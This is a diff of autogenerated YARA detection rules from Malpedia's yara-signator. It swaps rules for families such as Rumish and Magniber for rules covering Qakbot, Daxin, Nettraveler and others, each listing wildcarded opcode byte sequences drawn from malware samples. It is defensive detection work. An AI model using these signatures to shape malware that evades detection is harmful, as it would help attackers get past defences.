+		$sequence_10 = { 753c b980000000 e8???????? 85c0 a3???????? 7504 33c0 }
+		$sequence_11 = { 5e 5b c3 83fb01 7405 83fb02 }
+		$sequence_12 = { 33d2 b9e8030000 f7f1 83f805 }
+		$sequence_13 = { c9 c3 3ac8 7606 8ad1 }
+		$sequence_14 = { d2e0 0802 ff45f8 837df808 7c0b 8a041f 47 }
+		$sequence_15 = { e8???????? 83c410 85c0 7517 ff7520 ff751c }
+		$sequence_16 = { 7407 33c0 e9???????? ff15???????? e9???????? }
+		$sequence_17 = { 7f07 e8???????? eb26 83c0ff }
+		$sequence_18 = { e8???????? eb6d e8???????? 85c0 }
+		$sequence_19 = { e8???????? 33db 3bc3 741a }
+		$sequence_20 = { e8???????? 8bc7 eb0e 4883c108 e8???????? b801005921 }
+		$sequence_21 = { 85c0 7564 488b0b 488b01 }
+		$sequence_22 = { ff5024 488d4d08 e8???????? 488d4d08 e8???????? 488bcd }
+		$sequence_23 = { ff501c 488d4d08 e8???????? 498bce e8???????? 48832700 ba02000000 }
+		$sequence_24 = { ff5064 488b0e 4883c108 e8???????? 488b5c2430 488b6c2438 488b742440 }
+		$sequence_25 = { 83781400 750a b865005921 e9???????? }
+		$sequence_26 = { 8bec 56 6a00 6880000000 6a03 6a00 6a03 }
+		$sequence_27 = { 83feff 7505 33c0 5e 5d c3 8b4d08 }
+		$sequence_28 = { 6a03 68000000c0 50 ff15???????? 8bf0 83feff 7505 }
+		$sequence_29 = { 83c0fe 668b4802 83c002 663bcb 75f4 8b15???????? 8b0d???????? }
+		$sequence_30 = { 8908 8b0d???????? 895004 894808 33c0 }
+		$sequence_31 = { c3 8b4d08 57 51 6a00 }
+		$sequence_32 = { 6689440ffc 6685c0 75ee f685c003000010 }
+		$sequence_33 = { 8d45e8 50 6a00 6aff e8???????? 85c0 }
+		$sequence_34 = { 68???????? 51 ffd6 83c40c 6a28 }
+		$sequence_35 = { ff15???????? 83f87a 740b 3d230000c0 }
+		$sequence_36 = { 8b7d0c 3bc3 7508 3bfb }
+		$sequence_37 = { ff15???????? 488bcf ff15???????? 41b701 }
+		$sequence_38 = { 48894c2450 4c89642448 488d4c2468 48894c2440 4c89642438 }
+		$sequence_39 = { 75e8 85f6 74e4 418936 b801000000 4881c4480d0000 }
+		$sequence_40 = { 48f7d1 66837c4bfc5c 7413 488bfb 4883c9ff 66f2af 8b05???????? }
+		$sequence_41 = { 8d8588feffff 68???????? 50 ff15???????? 83c42c }
+		$sequence_42 = { b914000000 84c0 0f45f9 488bce }
+		$sequence_43 = { 488bce 8bd7 ff15???????? 85c0 }
+		$sequence_44 = { 7507 32c0 e9???????? c745b818000000 }
+		$sequence_45 = { 668b08 83c002 6685c9 75f5 2bc2 d1f8 66837c43fe5c }
+		$sequence_46 = { 05a1000000 50 8d84249c0d0000 68???????? }
+		$sequence_47 = { 0f8456feffff 807c241301 6800080000 0f8544020000 }
+		$sequence_48 = { 0f8431ffffff 8b4d08 5f 8931 }
+		$sequence_49 = { 0f84100f0000 6800080000 57 56 }
+		$sequence_50 = { 05a2000000 50 8d94249c0d0000 68???????? }
+		$sequence_51 = { 05a2000000 50 8d8c249c0d0000 68???????? }
+		$sequence_52 = { 668cc8 c3 53 50 }
+		$sequence_53 = { 85c0 740a b8050000c0 e9???????? }
+		$sequence_54 = { c745bc04390100 66c745d81800 66c745da1a00 c745dc10390100 }
+		$sequence_55 = { c745bc01000000 c745c000000000 6a00 6a00 8d55ac 52 }
 
 	condition:
-		7 of them and filesize <924672
+		7 of them and filesize <1368064
 }
-rule MALPEDIA_Win_Rumish_Auto : FILE
+rule MALPEDIA_Win_Miniasp_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c7d955e8-6589-5477-8769-7cb86586e6f1"
+		id = "a296e0dd-d471-5c91-a6b1-780906aaa535"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rumish"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rumish_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miniasp_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "eaf86e8ce2c9b9b903be9f070aac683527bbc8f25626d1b33901e14e32dd278c"
+		logic_hash = "9a4758ded83cb0970a2c1c85a01ff8f2f0263c333e1e2d45a290cc1db4a95dd4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163129,32 +170262,32 @@ rule MALPEDIA_Win_Rumish_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d450c 50 e8???????? 8b4df8 e8???????? 8b45f8 8be5 }
-		$sequence_1 = { eb46 68???????? 8d8d78feffff e8???????? eb34 68???????? 8d8d78feffff }
-		$sequence_2 = { 7375 8b9570ffffff 0faf5580 039574ffffff 899574feffff 8d8574feffff 50 }
-		$sequence_3 = { 898534ffffff 8b8d34ffffff 3b4d94 7d40 e8???????? 8985a8feffff }
-		$sequence_4 = { 8d8df0faffff e8???????? e9???????? 68???????? 8d8df0faffff e8???????? e9???????? }
-		$sequence_5 = { 0fbf4dbc 898d30ffffff 8b9530ffffff 83ea04 899530ffffff 83bd30ffffff0b 0f87a4020000 }
-		$sequence_6 = { 7d5d e8???????? 898560ffffff db8560ffffff dc0d???????? dc35???????? d9bd5effffff }
-		$sequence_7 = { e8???????? 6a01 8b55f0 52 8b4d9c 83c10c e8???????? }
-		$sequence_8 = { 8bec 83ec08 894df8 51 8bcc 8965fc 8d450c }
-		$sequence_9 = { 83e901 898d80feffff 8d9580feffff 52 8d4d84 e8???????? 8b4580 }
+		$sequence_0 = { 8b45c0 898550ffffff 8b8550ffffff 40 89854cffffff 8b8550ffffff }
+		$sequence_1 = { ff15???????? 85c0 751b c785c0fbffff10d84000 68???????? 8d85c0fbffff 50 }
+		$sequence_2 = { 8b4508 0345f0 0fbe4002 83f841 7c15 8b4508 }
+		$sequence_3 = { 747c 8b45f4 8945d8 8b45d8 40 8945d4 8b45d8 }
+		$sequence_4 = { 83a564ffffff00 eb0b 1bc0 83d8ff 898564ffffff }
+		$sequence_5 = { 6a00 ff75f8 e8???????? 83c40c 6804010000 6a00 }
+		$sequence_6 = { 68???????? 8d85c0fbffff 50 e8???????? b001 5f 5e }
+		$sequence_7 = { ff15???????? 85c0 7534 ff15???????? 3d882f0000 7427 ff75f8 }
+		$sequence_8 = { 0f8516010000 8b45ec 8b00 8b4dec ff5020 8945f4 837df400 }
+		$sequence_9 = { 8985ecfbffff 8b85ecfbffff 3b45fc 7728 6a01 68???????? 8b4508 }
 
 	condition:
-		7 of them and filesize <770048
+		7 of them and filesize <139264
 }
-rule MALPEDIA_Win_Banpolmex_Auto : FILE
+rule MALPEDIA_Win_Bluelight_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f5c73e0b-c575-562f-9127-4bdfc5c88735"
+		id = "80cf9226-cefd-5819-9dda-98c83a2352a6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.banpolmex_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bluelight"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bluelight_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5c80d00898c7981631095abf56b16c379bf161bce0c3d518d50cadc7dd22c1a6"
+		logic_hash = "ac28d46c928f9de871e1c7301334eafe0ce66f50fc56cf0b475e83370bd02ded"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163168,32 +170301,32 @@ rule MALPEDIA_Win_Banpolmex_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7419 4c8b0f 8bd0 41b801000000 498bcc e8???????? 4883f801 }
-		$sequence_1 = { ff15???????? 488d1530980800 488bcb 488905???????? ff15???????? 488d1529980800 488bcb }
-		$sequence_2 = { c3 488d15ea560200 488bcf e8???????? b80a000000 488b5c2460 4883c420 }
-		$sequence_3 = { 0f97c0 890d???????? 4883c428 c3 8b0d???????? 44891d???????? 3bc1 }
-		$sequence_4 = { 448d4201 4d8bb4c5a8010000 488bcb e8???????? 85c0 7919 488d156ca70100 }
-		$sequence_5 = { 4d016810 4d016018 49017020 49017828 49015830 4d015838 4d015040 }
-		$sequence_6 = { 660f1f440000 483bd5 7733 488bca 4869c988000000 4903c9 428b44210c }
-		$sequence_7 = { 4883ec28 488b0d???????? 4885c9 7409 83caff ff15???????? 33c0 }
-		$sequence_8 = { 4c8b5c2420 488b442428 4c011b 480107 0fb7442438 66ffc0 6689442438 }
-		$sequence_9 = { 4c897c2458 3c02 0f85a4000000 41b803000000 4533ff 898c24a8000000 44898424b0000000 }
+		$sequence_0 = { c7466400000000 6a01 8d4510 c645fc03 50 8d45e0 68???????? }
+		$sequence_1 = { e8???????? 85c0 0f85e1040000 8b55c0 8b4638 8d4aff 0fc9 }
+		$sequence_2 = { b97bfe0000 e8???????? 8945f8 8b4dfc e8???????? 83670c00 8b45f8 }
+		$sequence_3 = { 8bce e8???????? 8bd8 895dc4 85db 0f84bf0e0000 8b5348 }
+		$sequence_4 = { 884508 8b4204 8945d8 8b02 8b75d8 3b30 8b75f0 }
+		$sequence_5 = { f3a5 eb23 ff742420 68???????? eb92 8d4101 8bcb }
+		$sequence_6 = { ff248504d44600 6a00 c743140f000000 8bcb c7431000000000 68???????? c60300 }
+		$sequence_7 = { 7414 8bce e8???????? 814b0400000100 894308 8b45fc 8bd0 }
+		$sequence_8 = { e8???????? 8bd0 52 e8???????? 83c404 8b4518 8b4df4 }
+		$sequence_9 = { f7410400000400 7408 8b4114 8b4804 eb03 8b490c 85c9 }
 
 	condition:
-		7 of them and filesize <1555456
+		7 of them and filesize <2191360
 }
-rule MALPEDIA_Win_Regretlocker_Auto : FILE
+rule MALPEDIA_Win_Mortalkombat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e84161b8-423e-557e-8de0-b1e67c3c2a4c"
+		id = "5bbf17fe-00b4-5a92-b5e3-f942b94b6ce0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.regretlocker_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortalkombat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mortalkombat_auto.yar#L1-L116"
 		license_url = "N/A"
-		logic_hash = "54bb2aadd5c37dd020832b423319961afea1e93662e9effb9e0b762d9355990d"
+		logic_hash = "7d4e235b241a7bc491c490ef8ff26987513d97053d43652b54aa2deceb4dd9ea"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163207,32 +170340,32 @@ rule MALPEDIA_Win_Regretlocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945e0 3bd8 742a 83ec18 8bcc 53 }
-		$sequence_1 = { 8d8568ffffff 50 e8???????? 83ec10 c645fc04 8bcc 6a06 }
-		$sequence_2 = { e8???????? 6aff 8bcb e8???????? 8d8df4feffff e8???????? 8d8d78ffffff }
-		$sequence_3 = { 8d4510 50 8d8578fdffff 50 8d45ec 50 e8???????? }
-		$sequence_4 = { 2b45fc 6a18 59 99 f7f9 ff750c 6bc018 }
-		$sequence_5 = { 3bf0 59 59 0f95c0 5f 5e }
-		$sequence_6 = { 50 f2c3 55 8bec 8b4508 56 }
-		$sequence_7 = { 83ec18 8bcc 57 e8???????? e8???????? 83c418 8d4dbc }
-		$sequence_8 = { 50 57 ff15???????? 85c0 0f8529ffffff 57 ff15???????? }
-		$sequence_9 = { 64890d00000000 5b c9 c21800 8b411c 8b10 85d2 }
+		$sequence_0 = { 33d2 ad 3382b96d4000 ab 83c204 }
+		$sequence_1 = { 6a00 6803800000 ff75fc e8???????? 83f800 7e35 6a00 }
+		$sequence_2 = { 2bc1 81ebb979379e 8bc8 c1e104 }
+		$sequence_3 = { 83f8ff 7402 eb67 6a00 6a00 6a02 }
+		$sequence_4 = { e8???????? 50 ff75ac e8???????? 8945a4 33c0 50 }
+		$sequence_5 = { 803d????????01 7519 68???????? 68???????? 68???????? }
+		$sequence_6 = { c705????????f4010000 68???????? e8???????? a3???????? a0???????? }
+		$sequence_7 = { ff7514 6a01 6a00 ff7510 ff75f8 }
+		$sequence_8 = { 68???????? e8???????? 83c710 6a10 }
+		$sequence_9 = { 50 e8???????? ebd8 8b45bc }
 
 	condition:
-		7 of them and filesize <1021952
+		7 of them and filesize <1224704
 }
-rule MALPEDIA_Win_Magniber_Auto : FILE
+rule MALPEDIA_Win_Daxin_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "05f5671a-f33b-5211-a81c-43695f05ea5d"
+		id = "f296881b-770d-5563-abfb-71fa7b0b574a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magniber"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.magniber_auto.yar#L1-L164"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.daxin"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.daxin_auto.yar#L1-L156"
 		license_url = "N/A"
-		logic_hash = "a03ae86175c535bb9d3d882302b08d3c7bb8579783b2000a5224d25eaa155af3"
+		logic_hash = "474b282908002ac6ff5a401d8cd2ee0d1c71eaec687bd0f7b672c512154787e2"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163246,78 +170379,78 @@ rule MALPEDIA_Win_Magniber_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 e8???????? 83c408 837dfc00 7502 eb31 6a00 }
-		$sequence_1 = { 8b45e8 50 ff15???????? 8b4df4 51 }
-		$sequence_2 = { c785a0fafffff0934000 c785a4fafffff8934000 c785a8faffff00944000 c785acfaffff08944000 }
-		$sequence_3 = { 50 8b4df4 51 ff15???????? 8b45f8 99 }
-		$sequence_4 = { 83c408 8b4dfc 8b55f8 6689044a }
-		$sequence_5 = { c7852cfbffff14954000 c78530fbffff1c954000 c78534fbffff24954000 c78538fbffff2c954000 c7853cfbffff34954000 c78540fbffff40954000 }
-		$sequence_6 = { 66894da4 ba2f000000 668955a6 b853000000 668945a8 b943000000 }
-		$sequence_7 = { 0f842e010000 660f57c0 660f1345b0 6a00 8d4df8 51 6a10 }
-		$sequence_8 = { f76e9f 32d8 2d7a350e78 95 }
-		$sequence_9 = { 4834b0 184026 e221 a1????????05eef081 e0f8 29aed0515fa6 8d4f0e }
-		$sequence_10 = { 56 18cb 52 fc 285f44 c1c70d 11fb }
-		$sequence_11 = { e8???????? 32cb 5a b3b1 }
-		$sequence_12 = { 4e4e54 70ac 52 f8 a6 6e }
-		$sequence_13 = { 29aed0515fa6 8d4f0e 7f4c c82cd1c6 1a32 b636 }
-		$sequence_14 = { 5a b3b1 3e6c 21746c2e 4834b0 184026 }
+		$sequence_0 = { 2bc2 d1f8 99 f7f9 }
+		$sequence_1 = { ff15???????? 488b0d???????? 483bcb 7458 895c2448 48895c2440 895c2438 }
+		$sequence_2 = { 751a baea050000 33c9 41b84d4b4353 }
+		$sequence_3 = { ff15???????? 488983f8000000 4883a3d800000000 33d2 488d8bb0000000 448d4220 e8???????? }
+		$sequence_4 = { 83e21f 03c2 8bc8 83e01f c1f905 2bc2 488b5328 }
+		$sequence_5 = { ff15???????? 488b0d???????? 48832700 33d2 4533c0 }
+		$sequence_6 = { 83e27f 03c2 83e07f 2bc2 4863c8 8a8419c5010000 }
+		$sequence_7 = { 83e3e0 41b84d4b4353 83c320 83e203 03c2 895910 c1f802 }
+		$sequence_8 = { 88480d 8b5368 42 895368 }
+		$sequence_9 = { 884c241b c744241c08000000 c783b401000001000000 ff93f0020000 }
+		$sequence_10 = { 884c2450 83c9ff 33c0 f2ae }
+		$sequence_11 = { 885004 33c0 f2ae f7d1 }
+		$sequence_12 = { 88480d 8b4500 50 ff5018 }
+		$sequence_13 = { 884805 8b0b b807000000 c6410600 8b4b04 3bc8 }
+		$sequence_14 = { 88482b 81c6a1000000 8990b0000000 3bf2 }
 
 	condition:
-		7 of them and filesize <117760
+		7 of them and filesize <3475456
 }
-rule MALPEDIA_Win_Divergent_Auto : FILE
+rule MALPEDIA_Win_Unidentified_075_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "14cdfb94-4b91-530e-a0fa-873505b81024"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.divergent"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.divergent_auto.yar#L1-L131"
+		id = "147c0d53-aecb-5cae-ac7f-14d52d3c203f"
+		date = "2023-07-11"
+		modified = "2023-07-15"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_075_auto.yar#L1-L115"
 		license_url = "N/A"
-		logic_hash = "60d51f83c6b67d5042579114a766b27aab37221121fff155d69e0a695b8fbbca"
+		logic_hash = "10617fdfd534147bc5e0f7e922724e69d45c37af66d21f98c629fa1bac685120"
 		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
 		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
+		malpedia_rule_date = "20230705"
+		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
+		malpedia_version = "20230715"
 		malpedia_license = "CC BY-SA 4.0"
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc1 880438 40 3d00010000 7cf5 8b450c }
-		$sequence_1 = { 83c418 85db 0f8537ffffff 5f 5e 68???????? ff15???????? }
-		$sequence_2 = { 3b4510 7518 ff7510 8b4704 ff750c }
-		$sequence_3 = { 85c0 750a 830604 5e 5d e9???????? 33c0 }
-		$sequence_4 = { ff15???????? 837e0800 7412 ff7608 ff15???????? ff7608 e8???????? }
-		$sequence_5 = { 3bf1 7421 3bf9 741d 3bc1 7419 c1e204 }
-		$sequence_6 = { 85db 0f84da000000 3975f4 0f84d1000000 53 e8???????? 8945e4 }
-		$sequence_7 = { 5d c3 ff25???????? 55 8bec 837d0800 741f }
-		$sequence_8 = { e8???????? 8bf8 83c414 85ff 742c 8b463c ff743054 }
-		$sequence_9 = { 0fb6f1 0fb6ca 0fb60406 034510 03c8 81e1ff000080 7908 }
+		$sequence_0 = { e8???????? 83c40c 6808020000 8d95dcf6ffff 52 6a00 }
+		$sequence_1 = { 8bc1 5e 5d c3 55 8bec ff15???????? }
+		$sequence_2 = { 52 e8???????? 6a00 8d85ace6ffff 50 8d8dbceeffff 51 }
+		$sequence_3 = { 83c40c 33c0 668985d4f4ffff 6806020000 }
+		$sequence_4 = { 837d9400 740d 8b55fc c7821002000000000000 837df000 }
+		$sequence_5 = { 52 ff15???????? 83c410 b853000000 66898550ffffff }
+		$sequence_6 = { 33c0 668945d0 8d4dd4 51 }
+		$sequence_7 = { 742c 8b4514 85c0 7421 }
+		$sequence_8 = { 85c0 0f8431ffffff b901000000 85c9 0f8515ffffff }
+		$sequence_9 = { 81eca4000000 894dfc c745f400000000 c745f800000000 }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <393216
 }
-rule MALPEDIA_Win_Iconic_Stealer_Auto : FILE
+rule MALPEDIA_Win_Qakbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "152db8f5-915a-5ca5-a7d4-f3818a40ffaf"
+		id = "241bd352-128e-5f57-a961-1a32ff520127"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iconic_stealer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.iconic_stealer_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.qakbot_auto.yar#L1-L449"
 		license_url = "N/A"
-		logic_hash = "dec19b483e0961df8b3ae7026df8b4a85577bd9230fffbf8dd9f39001dd5f48b"
+		logic_hash = "9011c5853a3a4bce7115bdec7dfc8cc7a3dbd683d5e3bd577fb86bb5ca62af81"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -163329,32 +170462,75 @@ rule MALPEDIA_Win_Iconic_Stealer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 4c8b13 4c8d05e6c60300 488bc6 488bce 83e03f 48c1f906 }
-		$sequence_1 = { eb29 488d0c76 8d4601 898790000000 488b8788000000 c704c876000000 8954c804 }
-		$sequence_2 = { 894338 66897318 66894b3e 6644896316 6644894b3c 663bf1 0f85dc000000 }
-		$sequence_3 = { e8???????? 4881c430020000 415f 415d 415c 5f 5e }
-		$sequence_4 = { 5f 5e 5d c3 40f6c504 7419 4c8bc7 }
-		$sequence_5 = { eb05 b901000000 894f28 4885db 741f 8b4f28 48895f10 }
-		$sequence_6 = { f2490f2ad5 488d4dc7 f20f5e15???????? 66490f7ed0 e8???????? e9???????? 448b44242c }
-		$sequence_7 = { ffc7 4883c108 3bfa 7cf1 e9???????? 488b4b20 4885c9 }
-		$sequence_8 = { e9???????? 488b75a8 4c8b442470 8b06 83c003 413b00 7e1f }
-		$sequence_9 = { c7430400000000 41ba1f000000 49bb1142082184104208 418b49f8 85c9 745b 8d4701 }
+		$sequence_0 = { c9 c3 55 8bec 81ecc4090000 }
+		$sequence_1 = { 33c0 7402 ebfa e8???????? }
+		$sequence_2 = { 7402 ebfa 33c0 7402 }
+		$sequence_3 = { 7402 ebfa eb06 33c0 }
+		$sequence_4 = { e8???????? 33c9 85c0 0f9fc1 41 }
+		$sequence_5 = { 50 e8???????? 8b06 47 59 }
+		$sequence_6 = { 8d45fc 6aff 50 e8???????? }
+		$sequence_7 = { 59 59 33c0 7402 }
+		$sequence_8 = { e8???????? 59 59 6afb e9???????? }
+		$sequence_9 = { 740d 8d45fc 6a00 50 }
+		$sequence_10 = { 50 8d8534f6ffff 6a00 50 e8???????? }
+		$sequence_11 = { 8945fc e8???????? 8bf0 8d45fc 50 e8???????? }
+		$sequence_12 = { 33c0 e9???????? 33c0 7402 }
+		$sequence_13 = { 7402 ebfa e9???????? 6a00 }
+		$sequence_14 = { 8975f8 8975f0 8975f4 e8???????? }
+		$sequence_15 = { eb0b c644301c00 ff465c 8b465c 83f840 7cf0 }
+		$sequence_16 = { 7cef eb10 c644301c00 ff465c 8b465c 83f838 }
+		$sequence_17 = { e8???????? 83c410 33c0 7402 }
+		$sequence_18 = { 85c0 750a 33c0 7402 }
+		$sequence_19 = { c644061c00 ff465c 837e5c38 7cef eb10 c644301c00 }
+		$sequence_20 = { 7507 c7466401000000 83f840 7507 }
+		$sequence_21 = { 837dfc00 750b 33c0 7402 }
+		$sequence_22 = { e8???????? e8???????? 33c0 7402 }
+		$sequence_23 = { 833d????????00 7508 33c0 7402 }
+		$sequence_24 = { c7466001000000 33c0 40 5e }
+		$sequence_25 = { 7402 ebfa 837d1000 7408 }
+		$sequence_26 = { 80ea80 8855f0 e8???????? 0fb64df7 }
+		$sequence_27 = { 50 8d45d8 50 8d45d4 50 8d45ec }
+		$sequence_28 = { 56 e8???????? 8b45fc 83c40c 40 }
+		$sequence_29 = { 6a00 6800600900 6a00 ff15???????? }
+		$sequence_30 = { 50 ff5508 8bf0 59 }
+		$sequence_31 = { 6a00 58 0f95c0 40 50 }
+		$sequence_32 = { 57 ff15???????? 33c0 85f6 0f94c0 }
+		$sequence_33 = { 750c 57 ff15???????? 6afe 58 }
+		$sequence_34 = { c3 33c9 3d80000000 0f94c1 }
+		$sequence_35 = { 6a02 ff15???????? 8bf8 83c8ff }
+		$sequence_36 = { 50 e8???????? 6a40 8d4590 }
+		$sequence_37 = { 8d85e4fcffff 50 8d85e4fdffff 50 }
+		$sequence_38 = { 56 e8???????? 83c40c 8d4514 50 }
+		$sequence_39 = { e8???????? 6a00 8d45d4 50 68???????? }
+		$sequence_40 = { 5d c3 33c9 66890c46 }
+		$sequence_41 = { 8b4a04 83c204 03f0 85c9 75e1 }
+		$sequence_42 = { 01f1 898424a8000000 899424ac000000 8d8424b4000000 89c2 8db424c4000000 }
+		$sequence_43 = { 8a442417 8b4c2410 0485 88440c66 89ca 83c201 }
+		$sequence_44 = { ffd3 85ff 741b 6808020000 6a00 }
+		$sequence_45 = { 88442401 894c245c 0f847afdffff e9???????? }
+		$sequence_46 = { 89442410 884c2417 eb94 55 89e5 31c0 }
+		$sequence_47 = { 8945fc 8b4518 53 8b5d10 56 8945c4 }
+		$sequence_48 = { 8b742420 81c638a1e7c3 39f0 89442410 894c240c 89542408 7408 }
+		$sequence_49 = { 8b74242c bb3c13b648 f7e3 69f63c13b648 01f2 89442428 8954242c }
+		$sequence_50 = { 8b4c2444 ffd1 83ec08 b901000000 ba66000000 31ff 89c3 }
+		$sequence_51 = { 89e0 89580c bb04000000 895808 8b5c246c 895804 8b9c2480000000 }
+		$sequence_52 = { 8bf0 83c40c 85f6 0f84f8000000 a1???????? }
 
 	condition:
-		7 of them and filesize <2401280
+		7 of them and filesize <4883456
 }
-rule MALPEDIA_Win_Bangat_Auto : FILE
+rule MALPEDIA_Win_Nettraveler_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a2d4fb7c-d848-52ac-b553-710b64461faf"
+		id = "494d7b5b-e566-59c9-b0c7-fe620930e93d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bangat_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nettraveler"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nettraveler_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "795b6baa10d3ea1f31877796bf7d8c3236899cd7fc3cddcf5f5e7734a685bf62"
+		logic_hash = "ca8cfc3fd83dc1a9e063f01d8d61d4c33014172373ecd89db27946ab9125b077"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -163368,32 +170544,32 @@ rule MALPEDIA_Win_Bangat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a01 6800000040 50 e8???????? 83c43c 8bf0 83feff }
-		$sequence_1 = { 13f9 03f0 13fd 8b6c2434 89742418 03de 8b74245c }
-		$sequence_2 = { 8b442424 99 f7fe 83c408 85d2 7425 6815050000 }
-		$sequence_3 = { ff750c 50 ff15???????? 8bf0 ff15???????? 83f850 }
-		$sequence_4 = { 8b4c2474 0bc8 8b442464 0bc2 8b54244c 33f1 33f8 }
-		$sequence_5 = { 83cbff eb11 83fb01 750c 8b5004 85d2 7505 }
-		$sequence_6 = { 8b5704 8b0e 8b3a 8bc1 2bc7 7511 8b7a08 }
-		$sequence_7 = { 8b35???????? 8d45e8 68???????? 50 ffd6 8bf8 59 }
-		$sequence_8 = { 8b4b58 898184030000 8b03 3d00030000 0f8ebf000000 8b442418 8b4c2414 }
-		$sequence_9 = { 75f3 5f 5e 5d b830000000 }
+		$sequence_0 = { ffd3 c70424???????? ff7508 a3???????? }
+		$sequence_1 = { 81ec8c000000 56 57 ff7508 8bf1 e8???????? 8bf8 }
+		$sequence_2 = { 83650800 83c70c 83c428 85ff 897df0 0f8eb6000000 bf00040000 }
+		$sequence_3 = { 53 68???????? ffd6 80a5dcf7ffff00 59 59 baff000000 }
+		$sequence_4 = { 0bdf 33da 035dc4 8d9c18827e53f7 8bc3 c1e81a c1e306 }
+		$sequence_5 = { 0bd7 8b7dfc 0355e4 8dbc178a4c2a8d 8bd7 c1e214 c1ef0c }
